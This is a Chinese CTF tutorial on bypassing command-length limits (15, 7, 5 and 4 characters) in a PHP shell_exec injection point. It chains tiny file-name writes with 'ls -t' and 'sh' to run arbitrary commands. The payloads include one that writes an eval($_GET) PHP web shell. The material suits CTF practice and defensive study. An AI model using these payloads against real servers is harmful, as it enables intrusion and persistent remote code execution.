前言:
做ctf時難免會遇到可以執行莫命令執行函數,但是命令長度被限制,不同的長度限制將采用不同的截斷連接方法。
1.15位可控字符下的任意命令執行
如需執行 echo \<?php eval($_GET[1]);?\>>1
echo \<?php >1 echo eval\(>>1 echo \$_GET>>1 echo \[1\]>>1 echo \)\;?>>1
2.7位可控字符下的任意命令執行
1>a或者w>b分別可以創建a和b兩個空文件夾。
ls>c會將目錄下面的文件名寫入到c文件中;ls -t>0會將文件名按照創建的時間倒敘寫入0文件中。並且自動換行。
\作為轉義符,轉義之后的'\'是用來換行分隔,也就是換行也是連接的。
ca\
t
這就代表cat
例如這樣的代碼:
<?php if(strlen($_GET[1])<8){ echo shell_exec($_GET[1]); } ?>
假設我產要寫入<?php echo phpinfo();
echo PD9waHAgcGhwaW5mbygpOw== | base64 -d >1.php
w>hp w>1.p\\ w>d\>\\ w>\-\\ w>e64\\ w>bas\\ w>=\|\\ w>w=\\ w>gpO\\ w>mby\\ w>aW5\\ w>Ghw\\ w>Agc\\ w>waH\\ w>PD9\\ w>o\ \\ w>ech\\ ls -t>0 sh 0
倒敘新建文件名,然后通過ls -t>0,將剛才的順序再倒序然后寫入到0文件中,然后用sh將0當作腳本執行。
3.5位可控字符下的任意命令執行
ls -t>0 超過了5位
>ls\\ ls>a >\ \\ >-t\\ >\>0 ls>>a
這就將ls -t>0寫在了a腳本中,如果要用的話直接sh a,之后寫入自己的命令按照7位的邏輯寫就行了。
4.4位可控字符下的任意命令執行
ls -th>f 超過了4位
>f\> >ht- >sl >dir *>v >rev *v>0 cat 0
這就將ls -th>f寫入到了腳本0當中,后面就可以直接按照7位的那樣寫入我們要執行的命令,最后使用sh 0執行ls -th>f,然后將命令寫入了f腳本中,執行sh f即可。
注意:
>py\\這里看着是5個字符,超過了4個的限制,實際上是因為 shell環境需要輸入\\產生\,但是php 代碼exec時,只需要輸入\即可產生\,比如 exec(“>py\”)即可。
這上面的所以payload均在linux終端shell里面進行操作,因此需要'\'的地方都進行了再加'\'轉義,也就變成了'\\',如果在命令注入函數里面輸入時,'\'不需要用'\'轉義。
4位命令繞過的payload的構造邏輯、原理:
這里大佬總結得很清晰明了了,附上鏈接:https://www.sohu.com/a/208155480_354899